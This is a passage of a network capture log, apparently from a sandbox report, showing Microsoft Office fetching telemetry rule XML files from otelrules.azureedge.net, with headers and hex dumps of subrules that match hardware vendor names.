25	192.168.2.4	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:11 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:11 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031211Z-178bfbc474b9fdhphC1NYCac0n00000002d0000000001knp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:11 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:11 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 90548f26-b01e-0021-643a-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031211Z-178bfbc474bh5zbqhC1NYCkdug000000029g00000000cyc9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:11 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:12 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:13 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c49e358a-d01e-008e-6463-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031213Z-178bfbc474bw8bwphC1NYC38b4000000024g00000000n551 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:13 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:13 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:13 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031213Z-178bfbc474bpnd5vhC1NYC4vr400000002dg000000007132 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:13 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:13 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031214Z-174c587ffdf8fcgwhC1TEBnn7000000000yg00000000h4t5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:14 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:13 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:14 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031214Z-178bfbc474bq2pr7hC1NYCkfgg00000002h000000000aw0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:14 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:13 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:14 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 3029707a-401e-0047-3163-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031214Z-178bfbc474brk967hC1NYCfu60000000027g000000005n3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:15 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:15 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:15 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031215Z-174c587ffdfb5q56hC1TEB04kg00000000s000000000d3c8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:15 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:15 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:16 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:15 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031215Z-178bfbc474bw8bwphC1NYC38b4000000027000000000ayxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:16 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:15 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:16 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 76e93f39-101e-0034-5559-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031216Z-178bfbc474btrnf9hC1NYCb80g00000002dg00000000s0xn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:15 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:16 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 74046e45-401e-000a-0635-3c4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031216Z-178bfbc474bwh9gmhC1NYCy3rs00000002hg000000002q4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:16 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:16 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031216Z-178bfbc474bw8bwphC1NYC38b40000000290000000004qck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data 